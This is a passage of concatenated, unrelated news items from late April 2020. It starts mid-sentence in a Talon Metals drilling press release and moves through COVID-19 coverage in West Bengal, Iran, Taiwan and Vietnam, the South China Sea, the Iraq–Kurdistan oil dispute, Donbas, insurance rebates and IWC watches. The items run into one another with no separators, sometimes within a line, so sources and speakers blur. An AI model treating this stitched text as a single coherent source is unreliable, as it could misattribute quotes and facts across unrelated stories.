targets at depth; Drill targets (which were more than 500 meters below surface) were hit with precision using directional drilling, thereby reducing the environmental footprint. Deviation from drill targets ranged from 38 cm to 3 meters; "One of the exciting results from the 2020 Winter Exploration Program is that we now have much higher confidence in the Massive Sulphide Unit, which is the highest grading mineralization found at the Tamarack Project," said Etienne Dinel, VP Geology. "Due to the fact that Talon came in approximately $350,000 under budget, Talon now finds itself in a solid cash position, with approximately $2.5 million currently in the bank," said Vince Conte, CFO of Talon. "This cash position is especially important given market conditions amidst COVID-19." "The Winter 2020 Exploration Program was one of the most successful and cost-effective exploration programs at Tamarack," said Henri van Rooyen, CEO of Talon. "Not only did we achieve our objective of increasing confidence in the resource, but we also successfully tested a suite of geophysical techniques, which together with geological interpretation and effective directional drilling, has the potential to unlock the mostly unexplored 18-kilometer Tamarack Intrusive Complex at a fraction of the cost and time previously envisioned." FIGURE 1: MAP PROVIDES A SUMMARY OF THE DRILL HOLES FROM THE 2020 WINTER EXPLORATION PROGRAM AT TAMARACK. FIGURE IS A PLAN VIEW OF THE SOUTHERN PORTION OF THE HIGH-GRADE MASSIVE SULPHIDE UNIT WITHIN THE TAMARACK ZONE BELOW THE 138 ZONE. 6 OUT OF 8 HOLES DRILLED MASSIVE AND MIXED MASSIVE SULPHIDES. To view an enhanced version of Figure 1, please visit: https://orders.newsfilecorp.com/files/2443/55022_70b74e7c84f7c911_002full.jpg The Company looks forward to providing the remaining assay results once they have been received, and plans to provide a further update on the suite of geophysical techniques utilized during the Winter 2020 Exploration Program, along with the positive potential implications for the Tamarack Project. Resignation of Director The Company announces the resignation of Mr. Luis Azevedo from the board of directors of the Company. Mr. Azevedo, who is based in Rio de Janeiro, was previously key to Talon when it had projects in Brazil. Mr. Azevedo's resignation is in line with the Company's strategy to solely focus on the Tamarack Project in Minnesota, USA. The Company wishes Mr. Azevedo much success in his future endeavours, and thanks him for his contributions to the Company. Quality Assurance, Quality Control and Qualified Persons Please see the technical report entitled "NI 43-101 Technical Report Updated Preliminary Economic Assessment (PEA) of the Tamarack North Project - Tamarack, Minnesota" with an effective date of March 12, 2020 prepared by independent "Qualified Persons" (as that term is defined in National Instrument 43-101 ("NI 43-101") Leslie Correia (Pr. Eng), Andre-Francois Gravel (P. Eng.), Tim Fletcher (P. Eng.), Daniel Gagnon (P. Eng.), David Ritchie (P. Eng.), Oliver Peters (P. Eng.), Christine Pint (P.G.) and Brian Thomas (P. Geo.) for information on the QA/QC, analytical and testing procedures at the Tamarack Project. Copies are available on the Company's website (www.talonmetals.com) or on SEDAR at (www.sedar.com). The laboratory used is ALS Minerals who is independent of the Company. Lengths are drill intersections and not necessarily true widths. True widths cannot be consistently calculated for comparison purposes between holes because of the irregular shapes of the mineralized zones. Drill intersections have been independently selected by Talon. Drill composites have been independently calculated by Talon. The geological interpretations in this news release are solely those of the Company. The locations and distances highlighted on all maps in this news release are approximate. Dr. Etienne Dinel, Vice President, Geology of Talon, is a Qualified Person within the meaning of NI 43-101. Dr. Dinel is satisfied that the analytical and testing procedures used are standard industry operating procedures and methodologies, and he has reviewed, approved and verified the technical information disclosed in this news release, including sampling, analytical and test data underlying the technical information. About Talon Talon is a TSX-listed base metals company in a joint venture with Rio Tinto on the high-grade Tamarack Nickel-Copper-Cobalt Project located in Minnesota, USA, comprised of the Tamarack North Project and the Tamarack South Project. Talon has an earn-in right to acquire up to 60% of the Tamarack Project. The Tamarack Project comprises a large land position (18km of strike length) with numerous high-grade intercepts outside of the current resource area. Talon is focussed on expanding its current high-grade nickel mineralization resource prepared in accordance with NI 43-101; identifying additional high-grade nickel mineralization; and developing a process to potentially produce nickel sulphates responsibly for batteries for the electric vehicles industry. Talon has a well-qualified mine management team with extensive experience in project management. For additional information on Talon, please visit the Company's website at www.talonmetals.com or contact: Sean Werger, President Email: werger@talonmetals.com Telephone: 416-361-9636 Forward-Looking Statements This news release contains certain "forward-looking statements". All statements, other than statements of historical fact that address activities, events or developments that the Company believes, expects or anticipates will or may occur in the future are forward-looking statements. These forward-looking statements reflect the current expectations or beliefs of the Company based on information currently available to the Company. Such forward-looking statements include statements relating to the timing and results of the exploration program, including assay results, the planned update on the suite of geophysical techniques utilized during the winter exploration program and the positive potential implications for the Tamarack Project and the potential to unlock the mostly unexplored 18-kilometer Tamarack Intrusive Complex at a fraction of the cost and time previously envisioned due to geophysical techniques together with geological interpretation and effective directional drilling. Forward-looking statements are subject to significant risks and uncertainties and other factors that could cause the actual results to differ materially from those discussed in the forward-looking statements, and even if such actual results are realized or substantially realized, there can be no assurance that they will have the expected consequences to, or effects on the Company. Any forward-looking statement speaks only as of the date on which it is made and, except as may be required by applicable securities laws, the Company disclaims any intent or obligation to update any forward-looking statement, whether as a result of new information, future events or results or otherwise. Although the Company believes that the assumptions inherent in the forward-looking statements are reasonable, forward-looking statements are not guarantees of future performance and accordingly undue reliance should not be put on such statements due to the inherent uncertainty therein. 1 NiEq% = Ni%+ Cu% x $3.00/$8.00 + Co% x $12.00/$8.00 + Pt [g/t]/31.103 x $1,300/$8.00/22.04 + Pd [g/t]/31.103 x $700/$8.00/22.04 + Au [g/t]/31.103 x $1,200/$8.00/22.04 2 CuEq% = Cu%+ Ni% x $8.00/$3.00 + Co% x $12.00/$3.00 + Pt [g/t]/31.103 x $1,300/$3.00/22.04 + Pd [g/t]/31.103 x $700/$3.00/22.04 + Au [g/t]/31.103 x $1,200/$3.00/22.04 To view the source version of this press release, please visit https://www.newsfilecorp.com/release/55022 At a time when the number of COVID-19 cases in the state is on the rise, West Bengal Chief Minister Mamata Banerjee triggered controversy after she said that "lakhs and lakhs of people can't be quarantined, the government has its own limit. Don't Miss: Contribute To Indiatimes Fundraiser To Help India Fight COVID-19 BCCL Banerjee was speaking in the context of allowing COVID-19 patients with the provision to isolate himself at his residence. Saying that the practice of home-quarantining coronavirus positive cases was being followed in several countries, Banerjee added, A person can be the most comfortable at their own home. In a hospital, they come in contact with other patients, are exposed to other infections. At home, they can live according to their convenience, have it cleaned the way they like. We cant quarantine lakhs and lakhs of people at government facilities. While the Union Health Ministry has issued guidelines for home quarantine of patients with mild symptoms, the West Bengal CM has not made that distinction. AP And later the West Bengal Health Department clarified that COVID-19 positive patients should be mandatorily brought to hospitals. Only primary/secondary contacts will be allowed home isolation. This is the latest in a series of developments amid the COVID-19 outbreak where West Bengal is on a different trajectory in dealing with the pandemic than the rest of the country. To start with there is a lot of confusion around how bad the COVID-19 outbreak in West Bengal is. According to the figures on the Union Health Ministry, the state has so far recorded 697 COVID-19 positive cases and 20 deaths. BCCL But this is out of the 12043 samples the state has tested so far. The highest one-day sample test in Bengal was on Sunday when a total of 1150 them were tested. Bengal had conducted only 5,469 tests until April 20; in the next seven days, it performed 6,574 more. It also has the lowest testing rate among large states, but the number of those testing positive is much higher at 5.8 per cent. But there is another bigger mismatch - the death rate. Officially only 20 people have died of COVID-19 in West Bengal, but others claim it is 57. According to state Chief Secretary Rajiva Sinha, only 18 of them died of COVID-19 and the remaining 39 people died due to severe co-morbid conditions, which were immediate causes of the deaths and coronavirus was the incidental finding. AFP BJPs state president Dilip Ghosh alleged, People dying from COVID-19 are being assigned other causes in their death certificates." With the state going into election next year, managing the pandemic has also taken a political turn. West Bengal was one of the first states to claim that the kits supplied by the Indian Council for Medical Research (ICMR) were faulty and have been throwing up inconclusive results and delaying the pace of testing. AFP Last week there was another faceoff after the visit of the Inter Ministerial Central Team to West Bengal. TMC had described the two inter-ministerial central teams visiting West Bengal to assess the Covid-19 situation as "India's Most Callous Team", which, it said, has sought to spread the political virus "shamelessly". In a letter to Chief Secretary Sinha, the inter-ministerial central team flagged non-cooperation on the part of the state government over providing logistical support and other relevant information. BAKU, Azerbaijan, April 28 Trend: On April 28, 2020, the online meeting was held between the Minister of Foreign Affairs of Turkmenistan R.Meredov and the Regional Director for Europe of the World Health Organization Dr Hans Kluge, Trend reports citing Turkmenistan's MFA. During the talks, the high level of multiyear cooperation of Turkmenistan with the World Health Organization was confirmed. Referring in this regard to the recent telephone conversation between the President of Turkmenistan Gurbanguly Berdimuhamedov and the Secretary-General of the United Nations Antonio Guterres, Dr Kluge noted the importance of valuable initiatives of the Head of Turkmenistan. The parties discussed the current state of affairs in the region and in the world due to the new type coronavirus pandemic. The measures implemented in Turkmenistan on the prevention of dangerous diseases were noted, including the particularities of the national healthcare system. Speaking about the coordinative role of the WHO in resisting the pandemic, the parties underlined the need to exchange expertise between the Turkmen and foreign specialists. The parties agreed to continue work on multifaceted development of cooperation between Turkmenistan and the WHO for the sake of the whole humanity. Oil dispute between Iraqi government, Kurdish rulers flares again Iran Press TV Monday, 27 April 2020 10:38 AM Iraq has ordered the finance ministry to stop funding to the country's semi-autonomous Kurdistan region amid an oil spat between the two sides, media reports say. The Council of Ministers said the Finance Ministry was "obliged to stop making payments" to the Kurdistan Regional Government (KRG), read a letter to the country's Finance Minister Fouad Hussein dated April 16. The reports said KRG's failure to share oil with the Baghdad government since at least October last year was behind the new decision. According to the letter, the KRG is obliged to deliver all of its revenues from the export of at least 250,000 barrels per day (bpd) of oil to the central government in Baghdad, and then it can receive its share of the budget put at 12.5 percent. Iraq is one of OPEC's top five oil exporters. Disputes over energy resources have been a long-running feature of Iraqi politics since the semi-autonomous region began officially exporting crude oil to world markets through Turkey in 2009. The latest dispute could affect the efforts of prime minister-designate Mustafa al-Kadhimi, who is seen as close to the Kurds, to form a government. The Arab country's parliament will hold a vote of confidence on Kadhimi's government on Tuesday. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address A heated row between Studio Ten's Kerri-Anne Kennerley and Joe Hildebrand erupted on Tuesday, when the pair discussed the prospect of visitation rules at aged care homes being relaxed as Australia continues to flatten the coronavirus curve. On Monday, some homes rejected calls by the Australian Government to relax the rules, and Kerri-Anne and Joe debated the issue. Joe claimed the suggestion of wearing 'full PPE [personal protective equipment] gear' or 'hazmat suits' to visit elderly people was 'ridiculous'. Scroll down for video 'They are old, not dispensable!' A row between Studio Ten's Kerri-Anne Kennerley and Joe Hildebrand erupted on Tuesday, when the pair discussed the prospect of visitation rules at aged care homes being relaxed as Australia continues to flatten the coronavirus curve 'We need to have a really serious, mature and honest conversation about how we keep people alive, and what we are keeping them alive for,' he added. Kerri-Anne immediately interjected, saying: 'they may be old, but they're not dispensable and deserve attention!' 'It's cruel and inhuman to neglect people who are stuck in one room 24/7, without having their love and support from family and friends,' she added. She went on to suggest that aged care homes make visitors wear protective equipment during brief visits, rather than banning visitors completely. 'The most important thing is their quality of life... it's the job of providers to make those people as comfortable as possible': Joe told Kerri-Anne to 'hold off' from her angered and emotional reaction to his spiel as he claimed he was trying to agree with her statements Joe told Kerri-Anne to 'hold off' from her angered and emotional reaction to his spiel as he was trying to agree with her statements. 'I'm trying to agree with you, just hold off... you're arguing with yourself!' he exclaimed. 'I'm saying the nursing homes are protecting their elderly resident by keeping them (visitors) out... but the idea of protecting someone by keeping them isolated and locked up for the last few weeks or months of their life is frankly ridiculous,' he added. 'When you are dealing with people that late in life, the most important thing is their quality of life... it's the job of providers to make those people as comfortable as possible.' Playing devil's advocate: Sarah Harris (pictured) said it was good some nursing homes were 'thinking outside the square' by encouraging Zoom calls and 'window visits' in place of physical contact visitations Sarah Harris played devil's advocate, noting that half of all COVID-19 deaths in Europe had occurred in nursing homes, while in Western Sydney there was a cluster of six elderly aged care home residents dying after a nurse unknowingly passed on the virus. She went on to say some nursing homes were 'thinking outside the square' by encouraging Zoom calls and visitors to sit outside a resident's window. However, both Joe and Kerri-Anne protested, claiming it was ridiculous and not a suitable alternative for real, loving contact. 'There is no point living a life where you are locked in a room and isolated and not see anyone,' Jo said. Studio 10 airs weekdays from 8:30am on Channel 10 U.S. and Australian warships conduct a drill at the East Sea on April 18, 2020. Photo courtesy of the U.S. Navy. China might expect a weaker response to its actions in the East Sea amid the Covid-19 pandemic, but experts warn against such expectations. "Beijing is simply exploiting ASEAN countries preoccupation with the pandemic in the hope that its actions will provoke little or no reaction, thereby further strengthening its hold in the South China Sea," Collin Koh Swee Lean, research fellow at the S. Rajaratnam School of International Studies (RSIS) in Singapore, said about China's recent actions in the East Sea. In Vietnam the South China Sea is known as the East Sea. China announced the establishment of what it calls "Xisha District" and "Nansha District" in so-called "Sansha City" on April 18 to manage Vietnam's Paracel and Spratly Islands, the Macclesfield Bank and surrounding waters. On April 14 Chinese survey vessel Haiyang Dizhi 8 was spotted around 158 km off Vietnam's coast, inside its Exclusive Economic Zone (EEZ). It then followed exploration vessel West Capella belonging to Malaysian state oil company Petronas after entering Malaysia's EEZ. A Chinese vessel also sank a Vietnamese fishing vessel with eight men on it in the Woody Island area, part of the Paracel Islands, on April 2. China's actions did not go unnoticed however. Vietnam strongly denounced China's establishment of the so-called Xisha and Nansha districts on April 19, and called on it to reverse its wrongful decisions and respect Vietnam's sovereignty over the Paracel and Spratly Islands. Vietnam also said it is closely monitoring the situation in the East Sea following reports that the Haiyang Dizhi 8 and its escort vessels had entered its EEZ. Vietnam also said China has caused loss of property to and endangered the lives and legal rights of Vietnamese fishermen in the Paracel Islands, and demanded compensation for the boat it sank. Several other countries have also responded to China's actions. The Philippines expressed concern on April 8 after the Chinese vessel sank the Vietnamese fishing boat, warning that such actions could erode trust between Beijing and other countries in the region. The U.S., Australia and Japan have also voiced dismay. On April 6 the U.S. expressed serious concern over China sinking the Vietnamese vessel and called on it to stop its "bullying behaviors." Australia joined the U.S. Navy in a drill in the East Sea this week "in support of security and stability in the Indo-Pacific region," while its foreign minister, Marise Payne, said on Thursday she was concerned about China's disruptive activities in the East Sea. Japanese Foreign Minister Toshimitsu Motegi on Tuesday voiced concern over China's establishment of Xisha and Nansha districts. "The rather strong statements coming out of Canberra and Washington, accompanied by their navies showing their flag in the vicinity, would suffice as a pretty robust response [to China's actions]," Singaporean analyst Lean said. Robert Ross, an associate at Harvard University's Fairbank Center for Chinese Studies, said the U.S. had to send the ships because it could not allow China to use its navy without an American response, and sending warships to the East Sea was to show that the U.S. Navy still maintains a strong presence in the area. China's game plan As the world combats the Covid-19 pandemic, which has reached 210 countries and territories so far and killed over 200,000 people, China continues to intimidate and harass in the East Sea. This behavior is "part of a long-term pattern," Gregory Poling, senior fellow at the Southeast Asia Program at the Center for Strategic and International Studies in the U.S., said. "China was undertaking similar actions before Covid-19. But it is particularly outrageous to see that kind of behavior continue when its neighbors are struggling to mitigate a pandemic that is partially Beijings fault. "China would continue to harass new oil and gas exploration and all fishing activities by its neighbors until it becomes too risky and expensive for Southeast Asian civilians and governments to do anything without Chinas approval." Concurring, Ross said China wants to normalize its activities in the East Sea because it wants to be able to do whatever it wants in the waterway and have it be normal and regular. Evidently, it sent the Haiyang Dizhi 8 into Malaysia's EEZ without any reason, repeating the same thing it did to Vietnam last year, to make it a normal and routine activity. "The Chinese understand that [such activities] will be resisted in the short term," Ross said. "But over the longer term, [such activities] will have to be accepted by the region, it believes. So, they will no longer be controversial." Carl Thayer, emeritus professor at the University of New South Wales, said China has also begun to mute references to the so-called nine-dash line at the East Sea despite it having not abandoned its claims. It is China's new strategy to take control of the sea, he said. "China now bases its claims on the four shas (Xinsha, Nansha, Dongsha and Zhongsa) and uses a vague term like relevant waters in the South China Sea." Dongsha refers to the Paratas Islands and Zhongsa to the Macclesfield Bank. Further pressure While China does not want to escalate conflicts in the East Sea, it wants to put pressure on other East Sea littoral countries to remind them "the Chinese Navy is getting stronger, its Coast Guard is getting bigger, and the region must adjust to the rise of China," Ross said. Thayer said China would pursue two-pronged diplomacy toward Vietnam and other ASEAN countries, responding with strong political and diplomatic pressure to any actions or statements that it views as undermining its claim to indisputable sovereignty over the East Sea while pressing its "face mask diplomacy" in response to the coronavirus pandemic, he said. "In these circumstances, I think the possibility of China initiating unilateral escalation in the South China Sea is low." Derek Grossman, senior defense analyst at U.S. government-funded think tank RAND Corporation, said the situation in the East Sea would only undergo a drastic change when something like "a declaration of a South China Sea air defense identification zone" or "permanent stationing of fighter aircraft on Spratly bases" occurs. China is however very likely to continue conducting patrols and exercises there, he added. Peter Layton, visiting fellow at the Griffith Asia Institute in Australia, said China could become even more aggressive in the East Sea later this year if the U.S.'s domestic troubles over the Covid-19 pandemic increase. Its aim is to "flex its military muscle at a time when the U.S. is distracted politically." Lean said Vietnam needs to keep maintaining negotiations for the South China Sea Code of Conduct (CoC) to "remind China of its actions in the South China Sea." Ross said despite the possibility that China could influence negotiations for the CoC, if an agreement is reached, there would be less uncertainty in the region and ASEAN member states would also feel more confident in dealing with China. Vietnam, as this year's ASEAN chair, has given out a reassuring statement to China following an ASEAN Defense Ministers Meeting in February by saying it did not want ASEAN to have to choose sides, and that it would not try to promote or encourage ASEAN to side with America against China, he pointed out. Such a message also falls in line with policies by other ASEAN member states, with countries like the Philippines, Singapore and Malaysia saying they do not want to take sides in the U.S.-China rivalry, he added. "There is an opportunity [for Vietnam] to build a consensus within ASEAN about how to respond to the growing US-China competition. That would be a major contribution to ASEAN." The editor in chief and a social-media administrator of Irans semiofficial ILNA news agency were detained last week over a cartoon deemed insulting to the country's leadership. The cartoon, which appeared to mock Irans highest authority, was reportedly removed from ILNAs Telegram channel shortly after being posted. ILNAs editor in chief, Masud Heydari, has been released on bail but the news agencys Telegram administrator Hamid Haghjoo remains in detention. It is not clear if the two have been charged. Tehrans Prosecutor Ali Alghasi Mehr said on April 27 that an investigation has been launched into the affair. Immediately after the publishing of the insulting image, it was ordered to be removed from the channel, Alghasi Mehr was quoted as saying by Iranian media. The [person in charge] of ILNA and the administrator of the Telegram channel were both arrested on the evening of [April 23], he added. ILNA has denied any affiliation with the disrespectful cartoon while accusing its opponents of having faked the news agencys logo and falsely accused it of publishing the cartoon. The cartoon mocks those promoting fake treatments to ward off the coronavirus, including drinking camel urine and inserting violet oil in the anus, under the guise of Islamic medicine. It appeared to suggest that Irans Supreme Leader Ayatollah Ali Khamenei is supportive of such measures, depicting him as a nurse who is calling for silence. Hard Hit By Coronavirus Iran has been one of the hardest hit countries in the Middle East by the coronavirus pandemic. It has officially recorded more than 91,000 confirmed cases and just over 5,800 deaths, though critics believe those numbers may be far higher given the lack of transparency and media freedom in the country. A man who had posted online a video of himself drinking a glass of camel urine was detained last week after the video went viral and many Iranians mocked him on social media. The New York-based Committee To Protect Journalists (CPJ) said Iranian authorities should immediately drop their investigations into Heydari and Haghjoo and let them work freely. WATCH: Iranians Turn To Good Deeds In Dark Times "At a time when prisons are petri dishes for the COVID-19 virus, Iranian authorities should cease locking up journalists for trivial offenses like allegedly sharing a cartoon," CPJ Middle East and North Africa Program Coordinator Sherif Mansour said in an April 27 statement. "Hamid Haghjoo should be released immediately, and authorities should drop any investigation into him, Masud Heydari, and all other journalists at the Iranian Labor News Agency [ILNA], he added. Criticism of Khamenei is a red line in the Islamic republic where the Iranian leader has the last say in all state matters. Iranian leaders have called on citizens to follow health protocols and social-distancing measures aimed at containing the deadly outbreak that has killed over 5,800 and infected more than 91,000 Iranians, according to official figures. Real numbers are believed to be significantly higher. Iran ranks 170th on Reporters Without Borders 2020 Press Freedom Index. A number of journalists and cartoonists have been arrested in past years and charged with security crimes that are often brought against intellectuals and dissidents. Taiwan's Minister of Health and Welfare Chen Shih-chung gestures during a press conference at the headquarters of the Centers for Disease Control (CDC) in Taipei, Taiwan, on March 11, 2020. (Sam Yeh/AFP via Getty Images) Taiwan Pushes WHO Participation in Rare Ministerial Call With US In a rare teleconference between health ministers, Taiwan has thanked the United States for its support in pushing for the islands participation in the World Health Organization (WHO) amid the CCP virus pandemic and despite Chinas objections. In turn, the United States thanked Taiwan for sharing its medical best practices. Taiwan has limited the CCP (Chinese Communist Party) virus outbreak to just 429 confirmed cases and six deaths. Taiwans lack of membership at the WHO, due to Chinas objections which considers the island merely one of its provinces, has infuriated Taipei, which says its exclusion has created a glaring gap in the global fight against CCP virus. In a teleconference late on April 27, Taiwan Health Minister Chen Shih-chung thanked U.S. Secretary of Health and Human Services Alex Azar for the strong support extended by the United States for Taiwans participation in the WHO, Taiwans Health Ministry said in a statement. Secretary of Health and Human Services Alex Azar takes questions during a briefing with members of the presidents CCP virus Task Force in Washington, on Jan. 31, 2020. (Andrew Caballero-Reynolds/AFP via Getty Images) Minister Chen told Secretary Azar that he hopes the U.S. will continue to support for Taiwans full participation in the World Health Assembly as observer and WHO meetings, mechanisms, and activities, the statement added. The World Health Assembly is the WHOs decision-making body. Taiwan attended it as an observer from 2009-2016 when Taipei-Beijing relations warmed, but China blocked further participation after the election of Taiwan President Tsai Ing-wen, who China views as a separatist, charges she rejects. Taiwans Health Ministry said that Azar reaffirmed the continued and concrete support from the U.S. of expanding Taiwans participation in the WHO and global health arena. Taiwans health Minister Chen Shih-chung (C) gives a thumb up as he poses with demonstrators after a press conference on the sideline of the World Health Organizations annual Assembly in Geneva on May 21, 2018. (Fabrice Coffrini /AFP via Getty Images) The WHO and China both say Taiwan has been given the access to and information it needs from the body during the pandemic, but Taiwan says that has been limited. Azar, in a tweet, said he had thanked Chen for Taiwans efforts to share their best practices and resources with the U.S. Now, more than ever, global health partnership is crucial and I appreciate Taiwans contributions. Direct, public interactions between ministerial-level officials from Taiwan and the United States are unusual as the two do not have official diplomatic ties. The United States, like most countries, only has formal relations with Beijing, though it is Taiwans strongest backer on the international stage. Earlier this month Taiwan and the United States discussed how to get closer coordination between the island and the WHO during the CCP virus outbreak, drawing a rebuke from China for political manipulation of the epidemic. U.S. President Donald Trump signed a new law last month requiring increased support for Taiwans international role. China threatened unspecified retaliation in response. Taiwan has been far more successful than many of its neighbors keeping the CCP virus in check thanks to early and stringent steps to control its spread. By Ben Blanchard. Epoch Times staff contributed to this report. It is not feasible now to conduct class 10 and 12 board exams which are pending due to the lockdown imposed to curb the COVID-19 spread, Delhi Deputy Chief Minister Manish Sisodia suggested Union HRD Minister Ramesh Pokhriyal 'Nishank' on Tuesday. He made the recommendations during a meeting of state ministers chaired by the Human Resource Development (HRD) minister. "It will not be feasible now to conduct pending board exams for classes 10, 12. Students should be promoted on the basis of performance in internal exams like it was done for classes 9, 11," Sisodia said. "The curriculum for the next academic session should reduced by 30 per cent and competitive exams like JEE, NEET be conducted on the basis of reduced syllabus," he added. Sisodia also put forward the Delhi government's demand of airtime on Doordarshan and All India Radio (AIR) for broadcasting of on-air classes by teachers of its schools. Universities and schools across the country have been closed since March 16 when the Centre announced a countrywide classroom shutdown as one of the measures to contain the coronavirus outbreak. Later, a nationwide lockdown was announced on March 24, which has now been extended till May 3. The Central Board of Secondary (CBSE) had earlier this month announced that it will be conducting pending board exams for only 29 subjects, which are crucial for promotion and admission in undergraduate programmes. However, there is no clarity on when exams will be conducted even as the HRD Ministry has assured that students will be given at least a 10-day notice before the conduct of exams. Responding to a question of conducting the remaining board exams, Pokhriyal had told parents in an interaction on Monday that the pending exams will be conducted at the first possible opportunity. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) According to intelligence data, two members of Russia-led forces were killed and another three were wounded on April 27. Russia's hybrid military forces on April 27 mounted nine attacks on Ukrainian Army positions in Donbas, eastern Ukraine, with two Ukrainian soldiers reported as wounded in action. "The Russian Federation's armed groups violated the ceasefire nine times on April 27. Two Ukrainian soldiers were wounded as a result of enemy shelling," the press center of Ukraine's Joint Forces Operation Headquarters said in an update posted on Facebook as of 07:00 Kyiv time on April 28. The enemy opened fire, employing proscribed 120mm and 82mm mortars, grenade launchers of various types, heavy machine guns, and small arms. Read alsoRussia once again refutes direct participation in Donbas conflict Under attack came Ukrainian positions near the towns of Maryinka and Popasna, and the villages of Opytne, Novoselivka Druha, Katerynivka, Krymske, Pivdenne, and Travneve. Joint Forces returned fire to each enemy shelling. According to intelligence data, two members of Russia-led forces were killed and another three were wounded on April 27. "Since Tuesday midnight, Russia-led forces have attacked Ukrainian positions twice near Krymske, using 120mm mortars and grenade launchers of various types," the update said. No casualties were reported on Tuesday. As part of its response to the unprecedented coronavirus pandemic, Liberty Insurance has committed to giving premium rebates to the total value of 5 million to its Irish motor insurance customers on their existing premiums. As part of this gesture, Liberty will give back to each customer 15% of their premium for two months, subject to a minimum amount of 10. Liberty motor insurance customers with an active policy (except fleet) will be eligible for this premium rebate and will be able to request it from June 8, 2020, through the website www.libertyinsurance.ie. Customers will have the option of directly claiming the premium rebate through a cash equivalent voucher, or alternatively, they can request that Liberty donate it to a charity working on the front-line in the fight against the Coronavirus. The decision is part of Liberty Insurances wider response to Covid-19. Other measures introduced by the insurer include greater flexibility on payment terms for motor and home insurance premiums, and financial contributions to Irish charities Alone and Pieta House to support those most at risk during this difficult time. At a European-level, Liberty Insurance has made a 250,000 donation to Medecins Sans Frontieres. According to Tom McIlduff, CEO of Liberty Insurance: Every time we make a decision at Liberty, our guiding principle is to do the right thing, to be responsible and to put our customers and employees first. We recognise that these are exceptional circumstances and now is a challenging time for many of our customers. We also recognise that risks on Irish roads are reduced in light of current restrictions. To this end, Liberty Insurance has committed to waiving a percentage of our customers motor premiums. We are also giving our customers the option of redirecting this saving to one of a number of charities Liberty is working closely with in the fight against Covid-19. In the meantime, we will continue to explore other ways of supporting our customers and colleagues through this challenging time. By John M. Crisp In the first (and fully digital) edition of Watches & Wonders Geneva, IWC Schaffhausen scores big by putting the Portugieser collection back in the spotlight. The Portugieser is the most emblematic and prestigious collection of IWC Schaffhausen, and 2020 is the year of its big comeback, since the last time IWC released a full collection of Portugieser timepieces was in 2015. The origins of the Portugieser lie in the 1930s, when two Portuguese merchants who asked the Schaffhausen manufacture to create a wristwatch with the precision of a pocket watch. The result was the famed reference 325, the proto-Portugieser, as it were. In 1993, on the occasion of the brands 125th anniversary, IWC relaunched the reference 325 under the name Portugieser thus marking the official beginnings of this successful collection. Over the years, the Portugieser (also known at different points in time as the anglicized Portuguese) has housed some of IWCs most exceptional complications, from the signature perpetual calendar developed by Kurt Klaus to the groundbreaking constant-force tourbillon of the Siderale Scafusia. The last full collection of Portugieser novelties from IWC, in 2015, focused on legacy models, technical developments and high-prestige mechanisms such as the minute repeater. This year, IWC brings something completely new to the Portugieser. THE SPORTING SIDE The Portugieser models geared towards those with active lifestyles include the Yacht Club timepieces, which are dedicated to maritime sports. In line with this robust lifestyle, the models have a diameter of 44.6mm, which brings a substantial presence on the wrist. The flagship of the 2020 collection is undoubtedly the creation of a new complication: a tide indicator. Present on the Portugieser Yacht Club Moon & Tide model, the indication of the next high and low tide (at the 6 o'clock subdial) is not only a brand new complication at the Manufacture, it is also a very rare complication within the watch industry. Indeed, only Ulysse Nardin, known for its expertise in esoteric calendar complications, offers modern watches with such a complication. Powered by the IWC in-house cal. 82835, an automatic movement water-resistant to 30m, this timepiece contains the emblematic double moon phase display of IWC (at the 12 o'clock subdial), enhanced to indicate spring and autumn tides as well as to provide an indication of the intensity of the coming tides, the tides being linked to the movements of the moon. Portugieser Yacht Club Moon & Tide, and Portugieser Yacht Club Chronograph IWC Schaffhausen In the Yacht Club category, IWC also offers three new chronographs, created in materials adapted to the aquatic environment: two full stainless steel versions, as well as a leisure-chic steel-and-gold combination. These flyback chronographs are powered by the highly established IWC cal. 89361, renowned for its chronograph legibility (elapsed hours and minutes are displayed in a single totaliser at 12 o'clock). THE COMPLICATIONS Although 2015 showed us that high complication has an enduring place in the Portugieser collection, 2020 brings its share of novelty and proves that IWC is not simply resting on its laurels. The Portugieser Tourbillon Retrograde Chronograph and the Portugieser Perpetual Calendar Tourbillon are representing IWCs ongoing commitment to traditional horological complication while also showcasing the manufactures willingness to explore new technologies. This can be seen in particular in the Diamond Shell treatment of the tourbillon's anchor and escape wheel, which reduces friction and thus improves the transfer of energy within the movement. Portugieser Tourbillon Retrograde Chronographe and Portugieser Perpetual Calendar Tourbillon IWC Schaffhausen The Portugieser Tourbillon Retrograde Chronograph, housing the cal. 89900, combines the eponymous rotating escapement with a retrograde date display and a chronograph, while the Perpetual Calendar Tourbillon, containing the cal. 51950, displays its functions in typical IWC fashion prioritising clarity and modernity. Each of these models is available in two versions, in limited editions of 50 pieces each: one in platinum and one in 18-carat Armor Gold (boutique edition). This type of red gold is a new material offering much greater resistance than traditional red gold alloys, thanks to its improved microstructure. With this new type of gold, introduced at IWC for the first time last year under the name "hard gold" on the Grande Montre d'Aviateur Tourbillon a Force Constante Edition "Le Petit Prince", IWC is boosting the customer experience by offering gold timepieces that can be worn without fear of damage. Portugieser Perpetual Calendar 42 and Portugieser Perpetual Calendar IWC Schaffhausen As for the chronographs, available in several colours, it is interesting to note that their legibility has been improved upon. Not only does their streamlined dial make reading easier, but their unique flange with a graduated scale in quarters of a second allows for an even more accurate reading of the times measured. Portugieser Chronograph IWC Schaffhausen IN THE CLASSIC REALM An iconic watch in an iconic collection the Portugieser Automatic is essential to any full release of the IWC flagship. In addition to two colourful models with a case identical in size to the most recent Portugieser Automatic launched in 2018 (42.3 mm), one of which is a boutique edition, IWC now offers 40.4 mm cases. Available in four versions, three in stainless steel and one in red gold, the Portugieser Automatic 40 retains its traditional small seconds (with hacking function for precision setting) at 6 o'clock. The steel models feature a new butterfly folding clasp. Portugieser Automatic 40 and Portugieser Automatic IWC Schaffhausen With this host of novelties, IWC Schaffhausen offers something for every taste and every lifestyle. No matter who you are, you'll be delighted with the new IWC Portugieser releases. All the novelties are available in 3D thanks to augmented reality. It is therefore possible to scan them on your mobile phone and put them in 3D on your table at home! Moreover, you can discover IWC's Watches & Wonders stand in 3D and 360. To enjoy this, you just have to click on the following button: A medic collects swab samples from a woman at an industrial zone in Thu Duc District, HCMC for Covid-19 testing, April 20, 2020. Photo by VnExpress/Quynh Tran. Tuesday morning marked the fourth straight day Vietnam stayed clear of new Covid-19 infections, keeping active cases at 48, including eight relapses. Of the active eight have tested negative once and six twice. Apart from eight relapsed patients under treatment, including three recorded on Monday, a discharged British man whose samples tested positive as he left Vietnam has confirmed 